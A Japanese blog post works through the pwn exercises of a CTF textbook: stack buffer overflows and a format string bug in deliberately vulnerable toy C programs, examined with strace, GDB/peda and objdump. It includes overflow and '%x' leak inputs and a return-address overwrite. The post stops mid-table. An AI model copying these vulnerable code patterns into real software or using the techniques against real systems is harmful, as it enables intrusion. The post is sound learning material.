前回 から、ksnctf を開始しました。少し難しかったので、書籍などから知識を得ることも並行してやっていきます。
「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の「Part2 pwn」を読みましたが、なかなか内容が濃くて、読んだだけでは、十分に理解できませんでした。今回は、「Part2 pwn」の演習を、実際に自分で動かしていきたいと思います。
それでは、やっていきます。
参考文献
2015年9月に、初版が発行された書籍です。9年前の書籍ですが、実際に読んでみると、しっかりとステップを踏んで、技術が身につくように書かれています。
ハリネズミ本と呼ばれていて、有名な書籍だと思いますが、Amazon のレビューでは、書かれてる内容のレベルが高くて、説明が不十分とか、結構言われてます(笑)。
最初は、「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」の方がいいかもしれませんね。ただ、こちらは、Pwn の問題が、かなり難しいので、Pwn は、今回の「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」がやりやすいと思います。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
セキュリティの記事一覧
セキュリティコンテストチャレンジブックのサポートサイトは以下です。ここで、ソースコードや、書籍には載っていない付録が、2つダウンロードできます。
付録は、以下の2つです。とてもいい内容だったと思います。ただ、Part2 はリンクがおかしくなっていました。Part1 と同じディレクトリにあったので、Part1 の付録の URL をブラウザに入力した後、ファイル名だけ、「02章付録.pdf」に差し替えるとダウンロードできます。
- Part1 バイナリ解析:付録「バイナリ解析に関するTIPS」
- Part2 Pwn:付録「シェルコード」
book.mynavi.jp
それでは、やっていきます。
Part2 pwn
Part2 は、2.1(ステップ1)から、2.5(ステップ5)で構成されています。同じ順番で、実践していきたいと思います。
ステップ1:pwnとは
ここは、ツールの紹介と、環境構築について書かれています。
peda の便利コマンドとして、以下が紹介されています。
コマンド |
内容 |
pdissassemble(pdisas) |
コードハイライトされた逆アセンブル結果を表示する(使ってみましたが、逆にコードハイライトされない逆アセンブラが表示されました。普段使ってる disas の方がコードハイライトされています) |
ropgadget |
ROPを行うときの便利なガジェットを表示する(手軽に ROPガジェットを探すには便利だと思いました) |
pattern |
バッファオーバーフローしたときに、どの部分がレジスタに代入されているかを調べることができる(これも便利です、pattc と patto の組み合わせです) |
vmmap |
実行中のアプリケーションがメモリ領域をどのように確保しているかを表示する(vmmap は、普段使ってる i proc map と似ていて、vmmap の方が情報量が少なかったので、i proc map を使った方がいいと思います) |
ステップ2:下調べ
セキュリティ機構について、説明されています。以下の記事で詳しくやったので割愛します。
daisuke20240310.hatenablog.com
ステップ3:脆弱性を探す
スタックオーバーフローの脆弱性を含んでいるプログラム「bof」と、そのソースコードの「bof.c」が提供されています。
また、printf系関数の書式文字列に脆弱性を含んでいるプログラム「format」と、そのソースコード「format.c」も提供されています。
順番に見ていきます。
スタックオーバーフローの脆弱性を含んでいるプログラム「bof」
気になるところとしては、64bit OS を使っていそうなのに、gcc に「-m32」のオプションを使って、32bitプログラムとしているところと、SSP(スタックカナリヤ)を無効な状態でコンパイルしているところでしょうか。
この条件だと、SSP は有効でも同じ動作をしそうなんですが、そこについての説明はありません。
まずは、提供されているプログラム「bof」を動かしてみます。まず、ソースです。
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[100];
fgets(buffer, 128, stdin);
return 0;
}
9年前のものなので、動かないかもしれないと思いましたが、期待通りの動作になりました。
$ python -c 'print("CTF for Beginners")' | ./bof
$ python -c 'print("A" * 128)' | ./bof
Segmentation fault
続いて、strace を付けて実行してみます。-i
は、「print instruction pointer at time of syscall」ということなので、システムコールが発生したときの実行アドレスが行頭に表示されるということだと思います。
ログの最後の方に、[41414141]
から始まる行がありますが、これは、EIP に、ユーザの入力である AAAA
が設定されたということを示しています。つまり、任意のアドレスを実行できるようになったということになります。
$ python -c 'print("A" * 128)' | strace -i ./bof
[00007f76f4477a17] execve("./bof", ["./bof"], 0x7ffcc12d9d78 /* 24 vars */) = 0
[f7f168e7] [ Process PID=2633 runs in 32 bit mode. ]
[f7f168e7] brk(NULL) = 0x8ae1000
[f7f1998d] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7eee000
[f7f180bb] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7f182ba] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
[f7f17c37] statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=95990, ...}) = 0
[f7f1998d] mmap2(NULL, 95990, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7ed6000
[f7f180f7] close(3) = 0
[f7f182ba] openat(AT_FDCWD, "/lib32/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
[f7f18310] read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0205\2\0004\0\0\0"..., 512) = 512
[f7f17c37] statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0755, stx_size=2225200, ...}) = 0
[f7f1998d] mmap2(NULL, 2259228, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7c00000
[f7f1998d] mmap2(0xf7c22000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0xf7c22000
[f7f1998d] mmap2(0xf7d9b000, 524288, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0xf7d9b000
[f7f1998d] mmap2(0xf7e1b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x21b000) = 0xf7e1b000
[f7f1998d] mmap2(0xf7e1e000, 39196, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7e1e000
[f7f180f7] close(3) = 0
[f7f11ef7] set_thread_area({entry_number=-1, base_addr=0xf7eef540, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
[f7f08700] set_tid_address(0xf7eef5a8) = 2633
[f7f0873d] set_robust_list(0xf7eef5ac, 12) = 0
[f7f0876f] rseq(0xf7eef9e0, 0x20, 0, 0x53053053) = 0
[f7f18674] mprotect(0xf7e1b000, 8192, PROT_READ) = 0
[f7f18674] mprotect(0x8049000, 4096, PROT_READ) = 0
[f7f18674] mprotect(0xf7f28000, 8192, PROT_READ) = 0
[f7ef4589] ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
[f7f18651] munmap(0xf7ed6000, 95990) = 0
[f7ef4589] statx(0, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFIFO|0600, stx_size=0, ...}) = 0
[f7ef4589] getrandom("\x3f\x6b\x43\x09", 4, GRND_NONBLOCK) = 4
[f7ef4589] brk(NULL) = 0x8ae1000
[f7ef4589] brk(0x8b02000) = 0x8b02000
[f7ef4589] brk(0x8b03000) = 0x8b03000
[f7ef4589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault
ここからは、書籍にはない追加の実施内容になります。
サポートサイトからダウンロードしたプログラムを、自分の環境で、同じようにコンパイルして生成できるかを試します。
スタックオーバーフローの脆弱性を含んでいるプログラム「bof」(自分で32bitコンパイル)
32bit のビルド環境をインストールします。サポートサイトからダウンロードしたファイルの中の setup.sh に書かれている内容です。libc6:i386 は無いようなので、スキップしておきます。
いくつかの警告はありますが、32bitプログラムを作れたようです。
$ mv bof bof_org
$ sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
E: Unable to locate package libc6:i386
$ sudo apt-get install build-essential gcc-multilib git gdb nasm
$ gcc -m32 -fno-stack-protector -o bof bof.c
bof.c: In function 'main':
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
5 | fgets(buffer, 128, stdin);
| ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
4 | char buffer[100];
| ^~~~~~
In file included from bof.c:1:
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
| ^~~~~
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
5 | fgets(buffer, 128, stdin);
| ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
4 | char buffer[100];
| ^~~~~~
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
| ^~~~~
$ file bof
bof: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f5a5bf6f1c70e14e1a66c0bd0327a417e8b0259e, for GNU/Linux 3.2.0, not stripped
サポートサイトからダウンロードしたプログラムを使って、これまで実施してきた内容を、自分でコンパイルしたプログラムでも、同じことをやってみます(同じ内容なので、ここには貼りません)。
1点だけ結果が異なっていました。strace の実行で、[41414141]
になるはずのところが、[566201d6]
に変わりました。
$ python -c 'print("A" * 128)' | strace -i ./bof
(途中、省略)
[f7f88589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[566201d6] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x4141413d} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault
GDB で確認してみます。main関数の逆アセンブラです。
gdb-peda$ disas
Dump of assembler code for function main:
0x5655618d <+0>: lea ecx,[esp+0x4]
0x56556191 <+4>: and esp,0xfffffff0
0x56556194 <+7>: push DWORD PTR [ecx-0x4]
0x56556197 <+10>: push ebp
0x56556198 <+11>: mov ebp,esp
0x5655619a <+13>: push ebx
0x5655619b <+14>: push ecx
=> 0x5655619c <+15>: sub esp,0x70
0x5655619f <+18>: call 0x565561d7 <__x86.get_pc_thunk.ax>
0x565561a4 <+23>: add eax,0x2e50
0x565561a9 <+28>: mov edx,DWORD PTR [eax-0xc]
0x565561af <+34>: mov edx,DWORD PTR [edx]
0x565561b1 <+36>: sub esp,0x4
0x565561b4 <+39>: push edx
0x565561b5 <+40>: push 0x80
0x565561ba <+45>: lea edx,[ebp-0x6c]
0x565561bd <+48>: push edx
0x565561be <+49>: mov ebx,eax
0x565561c0 <+51>: call 0x56556040 <fgets@plt>
0x565561c5 <+56>: add esp,0x10
0x565561c8 <+59>: mov eax,0x0
0x565561cd <+64>: lea esp,[ebp-0x8]
0x565561d0 <+67>: pop ecx
0x565561d1 <+68>: pop ebx
0x565561d2 <+69>: pop ebp
0x565561d3 <+70>: lea esp,[ecx-0x4]
0x565561d6 <+73>: ret
End of assembler dump.
main関数のスタックの状態を表にしてみます。
fgets関数に渡すバッファのアドレスは、ebp-0x6c
です。
アドレス |
サイズ |
内容 |
備考 |
ebp+0x04 |
4 |
リターンアドレス |
|
ebp |
4 |
1つ前のesp |
|
ebp-0x04 |
4 |
ebx |
|
ebp-0x08 |
4 |
ecx |
|
ebp-0x6c |
100 |
ecx |
buffer |
ebp-0x78 |
4 |
0x70後にespが指してるところ、かつ、add 0x10後にespが指してるところ |
|
ebp-0x7c |
4 |
sub 4後にespが指してるところ |
|
ebp-0x80 |
4 |
push edx後にespが指してるところ |
|
ebp-0x84 |
4 |
push 0x80後にespが指してるところ |
|
ebp-0x88 |
4 |
push edx後にespが指してるところ |
|
特に問題はなさそうでした。
2つの bofプログラムを、GDB で追いかけてみました。すると、違いがありました。
以下は、サポートサイトからダウンロードした bof の main関数の逆アセンブラです。
gdb-peda$ disas
Dump of assembler code for function main:
0x0804843d <+0>: push ebp
0x0804843e <+1>: mov ebp,esp
=> 0x08048440 <+3>: and esp,0xfffffff0
0x08048443 <+6>: add esp,0xffffff80
0x08048446 <+9>: mov eax,ds:0x804a020
0x0804844b <+14>: mov DWORD PTR [esp+0x8],eax
0x0804844f <+18>: mov DWORD PTR [esp+0x4],0x80
0x08048457 <+26>: lea eax,[esp+0x1c]
0x0804845b <+30>: mov DWORD PTR [esp],eax
0x0804845e <+33>: call 0x8048310 <fgets@plt>
0x08048463 <+38>: mov eax,0x0
0x08048468 <+43>: leave
0x08048469 <+44>: ret
End of assembler dump.
gdb-peda$
サポートサイトからダウンロードした bof の方は、main関数の ret命令を実行した後、EIP に 0x41414141
が入っていて、そのアドレスを実行したときに、SIGSEGV が発生しました。なので、strace では [41414141]
が表示されていました。スタックは AAAA
で書きつぶしましたが、ESP に格納されているアドレス自体は壊れていません。
一方、自分でコンパイルした bof は、ret命令を実行したときに、SIGSEGV が発生しました。なので、[41414141]
ではなく、ret命令のアドレスが表示されていたんだと思います。
では、なぜ、ret命令で SIGSEGV が発生したのかです。ret命令では、ESP が指しているメモリの値(リターンアドレス)を EIP に設定して、ESP をインクリメントします。ESP が壊れている(ESP がアクセスできないところを指している)と、メモリからリターンアドレスを取得する時点で例外が発生します。
サポートサイトからダウンロードした bof は、main関数のプロローグとエピローグが、お決まりの形です。プロローグは、push ebp
と mov ebp,esp
で、エピローグは leave
です。
一方、自分でコンパイルしたプログラムは、エピローグで、leave
が使われず、ecx を使って、スタックを復帰しています。ecx は、その前にスタックから pop していて壊れています。これが、2つのプログラムが違っているところです。
最初は、strace で、分かりやすい表示になっていないというだけで、動きは同じかと思いましたが、よく考えると、リターンアドレスを書き換えて、任意のアドレスを実行することが出来なくなっています。
セキュリティ機構が異なるのでしょうか、確認してみます。PIE だけ異なります。
$ checksec --file=bof_org
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 bof_org
$ checksec --file=bof
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 41 Symbols No 0 1 bof
では、自分でコンパイルするときに、PIE を無効にしてみます。
strace の結果は、変化しましたが、アドレスは [41414141]
になりませんでした。逆アセンブラの結果を見ても、リターンアドレスの書き換えが単純には出来なさそうです。
$ gcc -m32 -fno-stack-protector -no-pie -o bof_nopie bof.c
$ python -c 'print("A" * 128)' | strace -i ./bof_nopie
(途中、省略)
[f7ef5589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[0804919f] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x4141413d} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault
$ objdump -M intel -d bof_nopie
(途中、省略)
08049156 <main>:
8049156: 8d 4c 24 04 lea ecx,[esp+0x4]
804915a: 83 e4 f0 and esp,0xfffffff0
804915d: ff 71 fc push DWORD PTR [ecx-0x4]
8049160: 55 push ebp
8049161: 89 e5 mov ebp,esp
8049163: 53 push ebx
8049164: 51 push ecx
8049165: 83 ec 70 sub esp,0x70
8049168: e8 33 00 00 00 call 80491a0 <__x86.get_pc_thunk.ax>
804916d: 05 87 2e 00 00 add eax,0x2e87
8049172: 8b 90 fc ff ff ff mov edx,DWORD PTR [eax-0x4]
8049178: 8b 12 mov edx,DWORD PTR [edx]
804917a: 83 ec 04 sub esp,0x4
804917d: 52 push edx
804917e: 68 80 00 00 00 push 0x80
8049183: 8d 55 94 lea edx,[ebp-0x6c]
8049186: 52 push edx
8049187: 89 c3 mov ebx,eax
8049189: e8 b2 fe ff ff call 8049040 <fgets@plt>
804918e: 83 c4 10 add esp,0x10
8049191: b8 00 00 00 00 mov eax,0x0
8049196: 8d 65 f8 lea esp,[ebp-0x8]
8049199: 59 pop ecx
804919a: 5b pop ebx
804919b: 5d pop ebp
804919c: 8d 61 fc lea esp,[ecx-0x4]
804919f: c3 ret
なぜ、こうなっているのか、今のところ分かりません。
スタックオーバーフローの脆弱性を含んでいるプログラム「bof」(自分で64bitコンパイル)
何気なく、Amazon のレビューを見ていると、同じ症状の方がおられました。32bit環境では、gcc のスタックの使い方が当時と変わっているから、ということでした。64bit環境では、同じことが実現できたらしいです。
なるほど、では、64bit でやってみます。
結果としては、strace は、[41414141]
のようにはなりませんでした。逆アセンブラを見ると、32bit でコンパイルしたものとは異なり、スタックの扱いは、問題なく、leave
が使われるようになっていました。
$ gcc -fno-stack-protector -o bof_64 bof.c
bof.c: In function 'main':
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
5 | fgets(buffer, 128, stdin);
| ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
4 | char buffer[100];
| ^~~~~~
In file included from bof.c:1:
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
| ^~~~~
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
5 | fgets(buffer, 128, stdin);
| ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
4 | char buffer[100];
| ^~~~~~
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
| ^~~~~
$ python -c 'print("A" * 128)' | strace -i ./bof_64
(途中、省略)
[00007fd17c66c19d] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[000055795271b166] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault
$ objdump -M intel -d bof_64
(途中、省略)
0000000000001139 <main>:
1139: 55 push rbp
113a: 48 89 e5 mov rbp,rsp
113d: 48 83 c4 80 add rsp,0xffffffffffffff80
1141: 89 7d 8c mov DWORD PTR [rbp-0x74],edi
1144: 48 89 75 80 mov QWORD PTR [rbp-0x80],rsi
1148: 48 8b 15 d1 2e 00 00 mov rdx,QWORD PTR [rip+0x2ed1]
114f: 48 8d 45 90 lea rax,[rbp-0x70]
1153: be 80 00 00 00 mov esi,0x80
1158: 48 89 c7 mov rdi,rax
115b: e8 d0 fe ff ff call 1030 <fgets@plt>
1160: b8 00 00 00 00 mov eax,0x0
1165: c9 leave
1166: c3 ret
GDB で見てみます。最終的には有効なアドレスをリターンアドレスに設定するため、PIE は無効にしておきます。
$ gcc -fno-stack-protector -no-pie -o bof_64_nopie bof.c
(警告は省略)
$ python -c 'print("A" * 128)' | strace -i ./bof_64_nopie
(途中、省略)
[00007f2545b1a19d] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[0000000000401153] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault
$ objdump -M intel -d bof_64_nopie
0000000000401126 <main>:
401126: 55 push rbp
401127: 48 89 e5 mov rbp,rsp
40112a: 48 83 c4 80 add rsp,0xffffffffffffff80
40112e: 89 7d 8c mov DWORD PTR [rbp-0x74],edi
401131: 48 89 75 80 mov QWORD PTR [rbp-0x80],rsi
401135: 48 8b 15 e4 2e 00 00 mov rdx,QWORD PTR [rip+0x2ee4]
40113c: 48 8d 45 90 lea rax,[rbp-0x70]
401140: be 80 00 00 00 mov esi,0x80
401145: 48 89 c7 mov rdi,rax
401148: e8 e3 fe ff ff call 401030 <fgets@plt>
40114d: b8 00 00 00 00 mov eax,0x0
401152: c9 leave
401153: c3 ret
ret命令を実行する直前まで来ました。先ほどと異なり、RSP のアドレスは正常ですが、そのアドレスに格納されているのは AAAA
です。
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
RCX: 0x7fffffffe120 ('A' <repeats 127 times>)
RDX: 0xfbad2288
RSI: 0x4052a1 ('A' <repeats 127 times>, "\n")
RDI: 0x7ffff7f9da20 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe198 --> 0x41414141414141 ('AAAAAAA')
RIP: 0x401153 (<main+45>: ret)
R8 : 0x0
R9 : 0x21001
R10: 0x1000
R11: 0x246
R12: 0x0
R13: 0x7fffffffe2b8 --> 0x7fffffffe576 ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x4010f0 (<__do_global_dtors_aux>: endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401148 <main+34>: call 0x401030 <fgets@plt>
0x40114d <main+39>: mov eax,0x0
0x401152 <main+44>: leave
=> 0x401153 <main+45>: ret
0x401154 <_fini>: sub rsp,0x8
0x401158 <_fini+4>: add rsp,0x8
0x40115c <_fini+8>: ret
0x40115d: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe198 --> 0x41414141414141 ('AAAAAAA')
0008| 0x7fffffffe1a0 --> 0x0
0016| 0x7fffffffe1a8 --> 0x401126 (<main>: push rbp)
0024| 0x7fffffffe1b0 --> 0x100000000
0032| 0x7fffffffe1b8 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0040| 0x7fffffffe1c0 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0048| 0x7fffffffe1c8 --> 0x86b34850199338d7
0056| 0x7fffffffe1d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 2, 0x0000000000401153 in main ()
この ret命令で SIGSEGV が発生しました。
Stopped reason: SIGSEGV
0x0000000000401153 in main ()
今度は、リターンアドレスに AAAA
ではなく、正常なアドレスを設定してみます。具体的には、main関数の先頭(0x401126)を設定します。ret命令の実行の直前まで来ました。先ほどとは異なり、RSP が指しているメモリに、0x401126 が格納されています。
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
RCX: 0x7fffffffe120 ('A' <repeats 120 times>, "&\021@")
RDX: 0xfbad2088
RSI: 0x4052a1 ('A' <repeats 119 times>, "&\021@")
RDI: 0x7ffff7f9da20 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe198 --> 0x401126 (<main>: push rbp)
RIP: 0x401153 (<main+45>: ret)
R8 : 0x0
R9 : 0x21001
R10: 0x1000
R11: 0x246
R12: 0x0
R13: 0x7fffffffe2b8 --> 0x7fffffffe576 ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x4010f0 (<__do_global_dtors_aux>: endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401148 <main+34>: call 0x401030 <fgets@plt>
0x40114d <main+39>: mov eax,0x0
0x401152 <main+44>: leave
=> 0x401153 <main+45>: ret
0x401154 <_fini>: sub rsp,0x8
0x401158 <_fini+4>: add rsp,0x8
0x40115c <_fini+8>: ret
0x40115d: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe198 --> 0x401126 (<main>: push rbp)
0008| 0x7fffffffe1a0 --> 0x0
0016| 0x7fffffffe1a8 --> 0x401126 (<main>: push rbp)
0024| 0x7fffffffe1b0 --> 0x100000000
0032| 0x7fffffffe1b8 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0040| 0x7fffffffe1c0 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0048| 0x7fffffffe1c8 --> 0x9e4c9a3706b52a69
0056| 0x7fffffffe1d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 4, 0x0000000000401153 in main ()
ステップ実行します。main関数の先頭に来ました。SIGSEGV は発生しませんでした。
[-------------------------------------code-------------------------------------]
0x40111c <__do_global_dtors_aux+44>: nop DWORD PTR [rax+0x0]
0x401120 <frame_dummy>: endbr64
0x401124 <frame_dummy+4>: jmp 0x4010b0 <register_tm_clones>
=> 0x401126 <main>: push rbp
0x401127 <main+1>: mov rbp,rsp
0x40112a <main+4>: add rsp,0xffffffffffffff80
0x40112e <main+8>: mov DWORD PTR [rbp-0x74],edi
0x401131 <main+11>: mov QWORD PTR [rbp-0x80],rsi
[------------------------------------stack-------------------------------------]
サポートサイトからダウンロードした、32bitプログラムと、64bit でコンパイルしたプログラムで、ret命令の挙動が異なっているように見えます。何か情報がないか、Web を探してみましたが、見つかりませんでした。
リターンアドレスを書き換えること自体は出来るので、先に進みます。
ユーザの入力を書式文字列に使ってしまうことで、メモリの読み書きが出来てしまう脆弱性です。
ソースコードを見てみます。ユーザからの入力を、str という配列に格納して、それを、そのまま printf関数で出力しています。ユーザに任意の出力をさせてしまうところが問題となる脆弱性です。
#include <stdio.h>
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf("Hello, ");
printf(str);
return 0;
}
では、実際に動かしてみます。
$ echo -e '%x,%x,%x,%x,%x,%x,%x,%x,%x' | ./format
Hello, 80,f7e1d620,ffb60324,f7f4cff4,2c,0,252c7825,78252c78,2c78252c
こちらは、書籍の通りに動いていそうです。
ステップ4:エクスプロイト
ステップ4 は、いろいろなことをやります。大きく分けると、ステップ3 と同様に、バッファオーバーフローと、書式文字列の脆弱性です。順番にやっていきます。
ローカル変数を破壊する
ここでは、バッファオーバーフローにより、ローカル変数をユーザの入力で破壊することを確認します。
使用するソースコードです。ローカル変数の buffer配列は、10byte しかありません。
#include <stdio.h>
int main(int argc, char *argv[]) {
int zero = 0;
char buffer[10];
printf("buffer address\t= %x\n", (int)buffer);
printf("zero address\t= %x\n", (int)&zero);
fgets(buffer, 64, stdin);
printf("zero = %d\n", zero);
return 0;
}
では、実行します。1回目は、正常な動作です。2回目は、A
を 16文字+改行コード(17byte)を入力したため、7byte オーバーします。そこに、ローカル変数 zero があるので、zero の値を書き換えてしまうというものです。
$ ./bof1
buffer address = ff838112
zero address = ff83811c
AAAA
zero = 0
$ ./bof1
buffer address = ff9010f2
zero address = ff9010fc
AAAAAAAAAAAAAAAA
zero = 1094795585
書籍では、ローカル変数の zero がどこに配置されているかは説明がありませんでした。ですので、もう少し確認してみます。逆アセンブラを見ます。
$ objdump -M intel -d ./bof1
(途中、省略)
0804846d <main>:
804846d: 55 push ebp
804846e: 89 e5 mov ebp,esp
8048470: 83 e4 f0 and esp,0xfffffff0
8048473: 83 ec 20 sub esp,0x20
8048476: c7 44 24 1c 00 00 00 mov DWORD PTR [esp+0x1c],0x0
804847d: 00
804847e: 8d 44 24 12 lea eax,[esp+0x12]
8048482: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048486: c7 04 24 70 85 04 08 mov DWORD PTR [esp],0x8048570
804848d: e8 9e fe ff ff call 8048330 <printf@plt>
8048492: 8d 44 24 1c lea eax,[esp+0x1c]
8048496: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804849a: c7 04 24 85 85 04 08 mov DWORD PTR [esp],0x8048585
80484a1: e8 8a fe ff ff call 8048330 <printf@plt>
80484a6: a1 24 a0 04 08 mov eax,ds:0x804a024
80484ab: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80484af: c7 44 24 04 40 00 00 mov DWORD PTR [esp+0x4],0x40
80484b6: 00
80484b7: 8d 44 24 12 lea eax,[esp+0x12]
80484bb: 89 04 24 mov DWORD PTR [esp],eax
80484be: e8 7d fe ff ff call 8048340 <fgets@plt>
80484c3: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
80484c7: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484cb: c7 04 24 98 85 04 08 mov DWORD PTR [esp],0x8048598
80484d2: e8 59 fe ff ff call 8048330 <printf@plt>
80484d7: b8 00 00 00 00 mov eax,0x0
80484dc: c9 leave
80484dd: c3 ret
80484de: 66 90 xchg ax,ax
スタックを表にします。10byte の buffer配列の直後に、変数 zero が配置されています。よって、AAAA
(0x41414141=1,094,795,585)が、変数 zero の値として上書きされたということになります。
アドレス |
サイズ |
内容 |
備考 |
ebp+0x04 |
